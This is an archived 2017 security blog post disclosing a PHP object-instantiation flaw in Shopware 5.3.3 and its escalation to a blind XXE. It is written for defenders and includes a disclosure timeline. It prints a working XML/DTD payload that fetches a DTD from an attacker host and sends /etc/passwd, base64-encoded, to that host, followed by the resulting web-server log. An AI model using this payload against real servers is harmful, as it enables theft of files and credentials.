Shopware 5.3.3: PHP Object Instantiation to Blind XXE

Shopware 5.3.3: PHP Object Instantiation to Blind XXE - Karim El Ouerghemmi, blog.ripstech.com.

- Published: date not stated
- Original: <https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/>
- Preserved from: https://blog.ripstech.com/2017/shopware-php-object-instantiation-to-blind-xxe/ (stored) on 2026-08-17
- Capture timestamp: 20171112153855
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Shopware 5.3.3: PHP Object Instantiation to Blind XXE

Shopware 5.3.3: PHP Object Instantiation to Blind XXE

8 Nov 2017 by Karim El Ouerghemmi

Shopware is a popular e-commerce software. It is based on PHP using technologies like Symfony 2, Doctrine and the Zend Framework. The code base of its open source community edition encompasses over **690,000 lines of code** which we scanned for security vulnerabilities with our RIPS static code analyzer.

The analysis of this complex code base took roughly **4 minutes**. RIPS discovered two vulnerabilities: a *PHP object instantiation* and a *SQL injection* which we disclosed to the vendor and were fixed in version 5.3.4. In this blog post we investigate the rare object instantiation vulnerability. We describe how it can occur and how it can be exploited by an attacker in order to retrieve arbitrary files from the server.

Who is affected

Installations with following requirements are affected by this vulnerabilities:

- Shopware version <= 5.3.3 and >= 5.1

Impact - What can an attacker do

In order to exploit the found vulnerabilities an attacker needs to be able to use the backend functionality of Shopware, specifically, the configuration of product streams. However, it is sufficient if the attacker can control the session of an account with limited permissions.

Successfully exploiting the object instantiation vulnerability grants an attacker the ability to instantiate an object in the PHP application of an arbitrary class. By using a blind XXE attack described in this blog post, this can lead to the disclosure of any file on the server (as long as the user associated with the PHP process has the required permissions). This can for example, be any confidential file of the shopware installation like `config.php` which contains the database credentials.

PHP Object Instantiation

In this section we will technically analyse the object instantiation vulnerability by examining the flow of data from the input to the dangerous sink. Furthermore, we will present a way of how such a vulnerability can be exploited by escalating it into a blind XXE attack. This sort of vulnerability is not very often to find, and thus an interesting candidate for our inspection.

RIPS automatically identified the object instantiation vulnerability that spans over multiple files and classes. The point of injection resides in the feature to preview product streams in the shopware backend. Here, the user parameter `sort` is received in the `loadPreviewAction()` method of the `Shopware_Controllers_Backend_ProductStream` controller.

Controllers/Backend/ProductStream.php

```
1 2 3 4 5 6 7 8 9101112
```

```
class Shopware_Controllers_Backend_ProductStream extends Shopware_Controllers_Backend_Application
{
    public function loadPreviewAction()
    {

        $sorting = $this->Request()->getParam('sort');

        $streamRepo = $this->get('shopware_product_stream.repository');
        $streamRepo->unserialize($sorting);

    }
}
```

| |

The input is then forwarded to the `unserialize()` method of `Shopware\Components\ProductStream\Repository`. Note that this is **not** a *PHP Object Injection* vulnerability and a custom `unserialize()` method. This method calls another `unserialize()` method of `Shopware\Components\LogawareReflectionHelper`.

Components/ProductStream/Repository.php

|

```
12345678
```

|

```
namespace Shopware\Components\ProductStream;
class Repository implements RepositoryInterface
{
    public function unserialize($serializedConditions)
    {
        return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');
    }
}
```

| |

The user input is passed along in the first parameter. Here, it ends up in a foreach loop.

Components/LogawareReflectionHelper.php

|

```
1 2 3 4 5 6 7 8 9101112131415
```

|

```
namespace Shopware\Components;
class LogawareReflectionHelper
{
    public function unserialize($serialized, $errorSource)
    {
        classes = [];
        foreach($serialized as $className => $arguments)
        {

            $classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);

        }
        return $classes;
    }
}
```

| |

Each array key of the user input is then passed to a `createInstanceFromNamedArguments()` method as `$className`.

Components/LogawareReflectionHelper.php

|

```
1 2 3 4 5 6 7 8 91011121314
```

|

```
namespace Shopware\Components;
class ReflectionHelper
{
    public function createInstanceFromNamedArguments($className, $arguments)
    {
        $reflectionClass = new \ReflectionClass($className);

        $constructorParams = $reflectionClass->getConstructor()->getParameters();

        // Check if all required parameters are given in $arguments

        return $reflectionClass->newInstanceArgs($arguments);
    }
}
```

| |

Finally, the keypoint is the instantiation of an object with `ReflectionClass` of the type specified in `$className`. The invokation of the `newInstanceArgs()` method with user controlled input in `$arguments` allows to specify the arguments of the constructor. `ReflectionClass` is part of the reflection API introduced with PHP 5. It allows retrieving information (available methods, their awaited parameters, etc.) about all classes accessible at a given point during execution. As the name implies, `newInstanceArgs()` creates an instance of a class with given parameters. So basically at this point, we can **instantiate arbitrary objects**.

** See RIPS report

Blind XXE

Let's take a look at how such a vulnerability can be exploited. An attacker that can control the input sent to the `loadPreviewAction()` method for product streams can provoke the instantiation of an arbitrary object with chosen parameters. Exploiting an object instantiation vulnerability with chosen parameters presents nearly the same challenges to an attacker as exploiting an object injection vulnerability. The difference is that instead of the magic method `__wakeup()` that gets called when an object is unserialized, `__construct()` gets called. Inspecting the lifecycle of an injected dummy object revealed that the following methods of its methods get called:

```
1. __construct()
2. __call() if method getName() not available. Else getName()
3. __destruct()
```

So what is left to do is to find a class available at runtime in which one of the above methods is implemented in an advantageous manner. Unfortunately we could not find any such class in the Shopware code base.

However, at runtime also the PHP built-in classes are available! An interesting class of which one could instantiate an object in such a situation is `SimpleXMLElement`. This class is part of the PHP SimpleXML extension which is available on most PHP installations. When instantiating an object of `SimpleXMLElement`, the data passed to its constructor is parsed as XML. This can be exploited to launch an XML External Entity (XXE) attack_Processing). The signature of the constructor of `SimpleXMLElement` looks like the following:

|

```
1
```

|

```
SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = false [, string $ns = "" [, bool $is_
```

| |

As the third parameter `$data_is_url` might imply, it's even possible to pass an URL to an external XML file which should be parsed. The following XML and DTD example shows how this can be abused to read any file on the targeted system that the web server's privileges allow access to.

xxe.xml

|

```
12345678
```

|

```
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://1.3.3.7:8000/xxe.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
```

| |

xxe.dtd

|

```
12
```

|

```
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://1.3.3.7:8000/?%data;'>">
```

| |

First, the object instantiation vulnerability is used to instantiate a `SimpleXMLElement` object with the appropriate parameters. The parameter `$options` must be set to `LIBXML_NOENT` in order to activate entity substitution which is required for the XXE to work. The parameter `$data_is_url` is set to true and the `$data` points to the attackers `xxe.xml` file. When the XML file is parsed by the injected `SimpleXMLElement` object, it reads the `/etc/passwd` file from the file system and sends its content base64 encoded back to the attackers web server.

|

```
123
```

|

```
1.2.3.4 - - [07/Nov/2017 13:55:54] "GET /xxe.xml HTTP/1.0" 200 -
1.2.3.4 - - [07/Nov/2017 13:55:54] "GET /xxe.dtd HTTP/1.0" 200 -
1.2.3.4 - - [07/Nov/2017 13:55:54] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmF....== HTTP/1.0" 200 -
```

| |

Finally, the attacker can read the content of the desired file by reviewing his web server's log file and base64 decoding the received log entry.

Time Line

| Date | What | | | 2017/09/13 | Reported vulnerabilities in Shopware ticket system | | | 2017/09/14 | Coordinated disclosure timeline with vendor | | | 2017/10/02 | Vendor fixed issues in code base | | | 2017/10/24 | Vendor released fixed version 5.3.4 | |

Summary

We analyzed the community edition of the popular e-commerce software Shopware as part of our PHP vulnerability research that contributes to open source security. Using cutting-edge static code analysis techniques, we identified two security issues in the code base. In this post we analyzed a unique and cool object instantiation vulnerability and presented a way of how such a vulnerability can be escalated into a blind XXE attack leading to arbitrary file disclosure.

We would like to thank the team behind Shopware for their professional collaboration and for quickly resolving the issues with the release of version 5.3.4. If you are still using an older version, we encourage to update.

** More about RIPS